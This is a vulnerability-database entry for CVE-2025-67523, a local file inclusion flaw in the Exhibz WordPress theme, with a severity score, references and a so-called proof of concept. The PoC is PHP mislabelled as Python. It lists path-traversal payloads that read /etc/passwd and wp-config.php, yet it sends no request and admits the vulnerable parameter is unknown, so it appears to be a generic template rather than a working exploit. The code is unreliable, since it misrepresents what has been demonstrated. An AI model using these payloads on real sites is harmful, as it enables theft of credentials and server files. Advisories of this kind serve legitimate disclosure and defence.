CVE-2025-67523

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in trippleS Exhibz exhibz allows PHP Local File Inclusion.This issue affects Exhibz: from n/a through <= 3.0.9.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Exhibz <= 3.0.9

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<?php
/**
 * CVE-2025-67523 PoC - Exhibz Theme Local File Inclusion
 * Affected: Exhibz Theme <= 3.0.9
 * Type: PHP Local File Inclusion
 * Reference: https://patchstack.com/database/Wordpress/Theme/exhibz
 */

$target = 'http://target-site.com/wp-content/themes/exhibz/functions.php';
$payload = '../../../../etc/passwd';

// Construct LFI payload
$params = array(
    'file' => $payload
);

echo "[*] CVE-2025-67523 LFI PoC\n";
echo "[*] Target: $target\n";
echo "[*] Payload: $payload\n\n";

// Alternative payloads to test:
$test_payloads = array(
    '../../../../etc/passwd',
    '../../../../wp-config.php',
    '../../../../../../../etc/passwd',
    '....//....//....//....//....//etc/passwd'
);

foreach ($test_payloads as $test) {
    echo "[+] Testing: $test\n";
    // In real attack, send request with this parameter
    // $url = $target . '?file=' . urlencode($test);
}

echo "\n[!] Note: Actual exploitation depends on vulnerable parameter name\n";
echo "[!] Check source code to identify exact vulnerable endpoint\n";
?>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67523
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67523
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67523/
[4] VulDB https://vuldb.com/cve/CVE-2025-67523
[5] https://patchstack.com/database/Wordpress/Theme/exhibz/vulnerability/wordpress-exhibz-theme-3-0-9-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

JSON

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